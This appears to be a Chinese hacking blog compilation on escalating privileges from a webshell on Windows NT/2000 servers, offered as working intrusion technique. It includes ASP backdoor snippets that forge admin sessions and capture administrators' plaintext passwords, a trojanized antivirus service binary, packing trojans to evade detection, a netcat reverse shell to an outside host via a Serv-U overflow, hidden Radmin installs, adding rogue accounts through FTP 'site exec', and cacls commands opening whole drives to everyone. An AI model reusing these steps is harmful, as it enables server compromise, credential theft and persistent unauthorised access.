最新最全的WEBSHELL提权方法【3】

 winNT/2000提升权限
  Windows NT/2000 通用的提升方法
  攻击者在获得系统一定的访问权限后通常要把自己的权限提升到管理员组,这样攻击者就控制了该计算机系统。这主要有以下几种方法:1.获得管理员密码,下次就可以用该密码进入系统; 2. 先新建一个用户,然后把这个普通添加到管理员组,或者干脆直接把一个不起眼的用户如guest 添加到管理员组; 3. 安装后门。
  本文简要介绍在 Windows NT4和 Windows 2000 里攻击者常用的提升权限的方法。下面是具体方法:
  方法1 :下载系统的 %windir%\\repair\\sam.*(WinNT 4 下是sam._ 而Windows2000下是sam )文件,然后用L0pht 等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
  问题:(1 )攻击者不一定可以访问该文件(看攻击者的身份和管理员的设置);(2 )这个文件是上次系统备份时的帐号列表(也可能是第一次系统安装时的),以后更改帐号口令的话,就没用了。
  方法2 :使用pwdump(L0pht 自带的,Windows 2000下无效)或者pwdump2 ,取得系统当前的用户列表和口令加密列表,然后用L0pht 破解这个列表。
  问题:普通用户不能成功运行pwdump类程序(没有权限),例如:使用unicode漏洞进入系统时是IUSR_computer 身份,该用户一般只属于guests组的,运行pwdump类程序就会失败。
  (以上两种是离线的)
  方法3 :使用 Enum 等程序进行远程破解,猜口令。enum可以使用指定的字典对远程主机的某个用户进行破解。
  问题:(1 )如果系统设置了帐号锁定的话,破解几次失败,该帐号就锁定了,暂时不能再破解;(2 )要远程系统开放 Netbios连接,就是 TCP的139 端口,如果用防火墙过滤了的话 Enum 就无法连接到主机。
  (以上方法是通过破解获得密码的,还有直接把当前用户提升权限或者添加用户到管理员组的方法。)
  方法4 :GetAdmin(WinNT 4 下)、PipeUpAdmin (Windows 2000下),在本机运行可以把当前用户帐号加入管理员组。而 PipeUpAdmin则比较厉害,普通用户和Guests组用户都可以成功运行。
  问题:GetAdmin在 SP4有补丁修复了,不能用于高于 SP4的 WinNT 4系统,当然后来又有GetAdmin的增强版本,不过在 SP6a 下好像都不能成功运行。
  注:这一方法利用了 WinNT 4系统的安全漏洞,可以安装补丁解决这一问题。
  (此外还有变通的方法。)
  方法5 :在WinNT 4 和 Windows 2000 注册表里指定用户Shell 程序(Explorer.exe)
  时没有使用绝对路径,而是使用了一个相对路径的文件名(考虑到兼容性问题)。
  由于在系统启动时程序的搜索顺序问题使得 %Systemdrive%\\Explorer.exe(操作系统安装的跟目录下的Explorer.exe)程序执行,这提供了攻击者一个机会在用户下次登录时执行他自己的程序。
  问题:攻击者必须有安装系统逻辑盘跟目录的写权限才行,而一般管理员都设置该目录普通用户禁写。
  注:这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞,可以安装补丁解决这种问题。
  方法6 :木马:上传木马,然后运行木马,系统重起动后,木马就是本地登录用户的身份了,然后攻击者连接后就有了本地登录用户的权限。因为一般总是管理员本地登录系统,因此这样很可能就获得了管理员的权限。
  问题:(1 )杀毒软件或病毒防火墙可能阻止木马运行,还有可能把木马杀死。
  (2 )有的木马不能在Guests组身份下运行,这可能与它添加自动运行的方式有关;如没有权限改写注册表的自动运行位置,不能写入%system% \\ system32目录(一般的木马都改变文件名,然后写入系统目录,如果没有写入权限系统目录,就不能成功执行木马)。
  解决:不过也有用压缩程序(不是通常说的压缩程序,这种压缩程序把可执行程序压缩后,文件变小了,但是仍然可以正常执行)将木马压缩,从而逃过杀毒软件的特征码检测。我曾使用Aspack成功压缩了一个木马,逃过了金山毒霸正式版的检测。不过也有的木马Aspack压缩不了,如冰河。
  方法7 : Gina、GinaStub木马。虽然这个也叫木马,但是它的功能和上边的那种大不相同,因为一般的木马是在对方安装一个server端,一旦运行就可以使用client端连接到server端,并进行操作。而 ginastub 一般只有一个动态连接库文件,需要手工安装和卸载,他的功能也不是使用 client端控制server端,它仅仅就是捕获用户的登录密码。
  问题:安装较麻烦,成功的可能性低,而且安装不当会造成被安装的系统不能启动。
  注:这一方法利用的不是系统的安全漏洞,因此不能通过安装补丁解决这一问题。关于Gina,可以参见我的另一篇文章《WinLogon登录管理和GINA简介》
  方法8 :本地溢出。缓冲区溢出是进行攻击的最好办法,因为一般都可以获得系统权限或者管理员权限;不过很多远程溢出攻击不需要事先有执行程序的权限,而本地溢出就恰好适合提升权限。Win NT4 的 IIS4 的 ASP扩展有一个本地溢出漏洞,Windows 2000的静态图像服务也有一个溢出漏洞,利用该漏洞,攻击者可以获得系统权限。当然 Windows NT 和 Windows 2000 还有很多程序有溢出漏洞,这是这些程序不是总在运行,因此被利用的可能性比较小。
  问题:(1 )ASP 扩展的溢出漏洞需要攻击者有向网站的脚本目录的写权限,才能把攻击程序放到网站上,然后执行。
  (2 )静态图像服务缺省没有安装,只有用户在 Windows 2000 上安装静态图像设备(如数码相机、扫描仪等)时才自动安装。
  注:这种方法利用了 WinNT 4/Windows 2000 系统的安全漏洞,可以安装补丁解决这种问题。
  Windows 2000专用提升漏洞方法方法1 : Windows 2000 的输入法漏洞,利用这个漏洞任何人可以以LocalSystem 身份执行程序,从而可以用来提升权限,不过该漏洞一般限于物理接触 Windows 2000 计算机的人。当然如果开放了终端服务的话,攻击者也可以远程利用该漏洞。
  注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。
  方法2 :利用 Windows 2000 的 Network DDE DSDM 服务漏洞普通用户可以LocalSystem 身份执行任意程序,可以借此更改密码、添加用户等。Guests组用户也可以成功利用该漏洞。
  问题:这个服务缺省没有启动,需要启动这个服务。
  注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。
  方法3 :Windows 2000的 TELNET 服务进程建立时,该服务会创建一个命名管道,并用它来执行命令。但是,该管道的名字能被预见。如果 TELNET 发现一个已存在的管道名,它将直接用它。攻击者利用此漏洞,能预先建立一个管道名,当下一次 TELNET 创建服务进程时,便会在本地 SYSTEM 环境中运行攻击者代码。
  注:这一方法利用了 Windows 2000 系统的安全漏洞,可以安装补丁解决这一问题。
  方法 4 :WINDOWS 2K存在一个利用 Debug Registers提升权限的漏洞。如果攻击者能在 WIN2K中运行程序,利用此漏洞,他至少能取得对 %Windir%\\SYSTEM32和注册表HKCR的写权。因为x86 Debug Registers DR0-7 对于所有进程都是全局共享的,因此在一个进程中设置硬件断点,将影响其它进程和服务程序。
  注:这一方法利用了 Windows 2000 系统的安全漏洞,不过到目前为止微软仍然没有补丁可以安装,但是漏洞攻击程序已经出现了,因此只能堵住攻击者的入口来阻止利用该漏洞。
-------------------------------------------------------------------------------- --
-- 巧妙配合asp木马取得后台管理权限顶(这个可是经典。。。自己体会我不多说了)

前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞,可能很多朋友手中有了很多webshell的肉鸡,至于选择怎么样这些小鸡的方式也是因人而异,有人继续提升权限,进一步入侵,也有人只是看看,马儿放上去了过了就忘记了,也有一些朋友,当webshell的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。其实,对很多功能强大的系统而言,拿到后台也就是拿到了一个好的后门了,呵呵............但是现在比较新的版本的很多asp系统密码都是MD5加密然后配合严格的验证程序来验证的,但是我们就没有办法突破这些限制了吗?no!我今天就是要说怎么突破这些限制让我们直奔后台,有马儿厩是好办事,follow
me............
session欺骗篇
首先简单说一下一般asp系统的身份验证原理。
一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告,这些都跟程序员的个人喜好有关。
知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。
动力文章系统3.51,(图一)
图一
其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。
我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp
,其验证内容如下:
............
else
rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
rs("LastLoginTime")=now()
rs("LoginTimes")=rs("LoginTimes")+1
rs.update
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
rs.close
set rs=nothing
call CloseConn()
Response.Redirect "Admin_Index.asp"
前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:
session.Timeout=SessionTimeout
session("AdminName")=rs("username")
我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:
if session("AdminName") = "" then response.Redirect "Admin_Login.asp"end if
看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:
dim id
id=trim(request("qwe"))
if id="120" then
session("AdminName")="admin" '这里是假设的,实际操作中可以改成你想要得管理员账号
end if
我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的session。好了,我们输入看一下,图二:
图二
看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了?图三:
图三
呵呵,别做坏事哦............
小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。
密码窃探篇
可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像 sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽
好了,我们开始修改它的程序。编辑login.asp,加入以下几句话:
if not isnull(trim(request("username"))) then
if request("username")="admin" then
sql="update [Dv_Vser] set UserEmail=(select userpassword from
[Dv_User]
where username=\'"& request("username")&"\') where
UserName=\'aweige\'"
conn.execute(sql)
end if
end if
这几句话的意思就是说如果admin(假设的,实际操作中改为你要的管理员名字)登录成功就更新数据库,把他的密码放到我资料的E-mail中。当然,你必须先在论坛里注册一个用户名。结果如图四:
图四
还有,如果是动网7.0以下的默认数据库admin表名和7.0以上有点不一样,所以实际操作中不可生搬硬套。
后记:
对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法,因为你的网站被人家放了马,你根本就没办法去阻止人家去插入,要是谁有好的解决方法记得告诉我。
另外,希望大家不要去搞破坏,那时我真的不愿看到的,也祝所有的网管们好运,希望你们不会碰上craker们。
--
--
巧用asp木马和KV2004得到管理员权限
重来没写过什么文章,这是第一次,写的不好请大家原谅,高手也不要取笑哦。这里也没什么技术可言,只是我这个菜鸟的一点心得,ok开始。。。
前段时间动网的UPfile.asp漏洞可谓闹的沸沸扬扬,这个漏洞确实很厉害,相信不少新手和我一样种了不少后门在有动网的网站上,但是asp木马的权限确实很底,除了删点文章,删点图片好象没什么用了。不行不得到管理员权限简直就辜负了发现这个漏洞的高手们~v~。好,想办法提升权限,我找啊找!网上提升权限的方法几乎都用过了,都没什么用,补丁打的很全啊!接下来用findpass想解开管理员的密码,又失败,findpass要管理员权限才有用。用 pslist看看晕装的是瑞星+天网,网上的大部分工具遇上这个防御组合一般都没用了。种木马?不行一来
权限太底,二来在瑞星杀天网堵的包围下很少能活出来的。做个添加用户权限的bat文件想放到启动组中去,这个方法虽然有点傻但是有一定的可行性,晕又是权限不够加不进去。c盘下的 "Program Files" "winnt" "Documents and Settings"三个文件甲都没有写权限,更不要说注册表了。郁闷了,给管理员留了句话,然后匆匆下线。
第2天上来一看,嘿嘿图被改回来了,管理员应该发现了,这次更不容易得手。登上 asp木马进去看了一下,昨天传上去的几个exe被删了,还好asp木马活下来了,咦!c盘多了文件甲叫 KV2004,原来管理员把瑞星卸了,安了个 kv2004,进Program Files看看确实瑞星被卸了。(这里说一下,大部分的杀毒软件默认的安装路径c:\\Program Files\ \,但是kv默认的安装路径是c:\\kv2004\\)到这里机会就来了我们可以把执行文件捆绑在kv2004上,跟随kv一起启动。因为 kv不在 "Program Files" "winnt" "Documents and Settings"这三个文件甲中,很大可能我可以修改
或者上传文件。行动!在kv2004下随便找个htm文件删除:(看看有无写删权限)
C:\\>del c:\\kv2004\\GetLicense.htm
拒绝访问
奇怪了,再来看看文件甲属性
C:\\>attrib c:\\kv2004
S R C:\\KV2004
哦是只读。
C:\\>attrib -r -s c:\\kv2004
ok!在试试
C:\\>del c:\\kv2004\\GetLicense.htm
成功了!好写个起用帐号和提升权限的bat文件,然后把bat文件和kv2004的系统服务文件KVSrvXP.exe捆绑起来,(注意多下种捆绑器,捆绑一
次用kv2004来扫描一次,因为很多捆绑器生成的文件kv会把他作为病毒来处理掉)准备上传了,先删掉原来的KVSrvXP.exe。
C:\\>del c:\\kv2004\\KVSrvXP.exe
拒绝访问
可能是KVSrvXP.exe被windows调用中,删不掉。没办法了吗?不,删不掉我改名
C:\\>ren c:\\kv2004\\KVSrvXP.exe kv.exe
OK!然后用asp木马把修改了的KVSrvXP.exe上传到kv2004中,接下来就去睡觉把。
4个小时后登上来用:
net user 起用的帐户
已经在administrators组中,接下来要关防火墙,关杀毒软件,还是种木马你随便我了,哈哈!
我觉得入侵没什么固定的模式,具体情况具体分析,杀毒软件同样也可以帮我们忙,这里我只提供了一种思路。请大家指教。
如何绕过防火墙提升权限
本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。
废话少说,咱们进入正题。
首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp 是自由动力3.6文章系统。Xr运用 WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的 door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。
测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些垃圾文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。
思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和 uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm 里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。
传上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下 D: \\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件copy过去,但是发现我们的 webshell没有对D盘写的权限,晕死。
可以浏览D:\\program files\\serv-u\\ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。
不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是 FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:\\,运行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。
我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传 n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)
高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现 r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:\\ long\\sun***\\lemon,再用刚才nc得到的 shell把它们copy到d:\\winnt\\system32\\下,分别运行: r_server /install , net start r_server , r_server /pass:rain /save 。
一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有 backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的思路又回到了serv-u上了。把他的 ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:\\program files\\serv-u\ \里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生 530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)
不管了,我们重启serv-u就ok 了,怎么重启呢,开始想用 shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:\\program files\\serv-u\\ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。
好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:
ftp>quote site exec net user xr rain /add
在webshell上运行net user,就可以看见添加成功了。
整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。
CAcls命令在提权中的使用

cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览
cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览
cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览
cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览
F:\safe\溢出工具\sqlhello2>cacls
显示或者修改文件的访问控制表(ACL)
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]
[/P user:perm [...]] [/D user [...]]
filename 显示 ACL。
/T 更改当前目录及其所有子目录中
指定文件的 ACL。
/E 编辑 ACL 而不替换。
/C 在出现拒绝访问错误时继续。
/G user:perm 赋予指定用户访问权限。
Perm 可以是: R 读取
W 写入
C 更改(写入)
F 完全控制
/R user 撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。
/P user:perm 替换指定用户的访问权限。
Perm 可以是: N 无
R 读取
W 写入
C 更改(写入)
F 完全控制
/D user 拒绝指定用户的访问。
在命令中可以使用通配符指定多个文件。

最新最全webshell提权1 http://www.zeroplace.cn/article.asp?id=354
最新最全webshell提权2 http://www.zeroplace.cn/article.asp?id=355
最新最全webshell提权3 http://www.zeroplace.cn/article.asp?id=356

文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 7122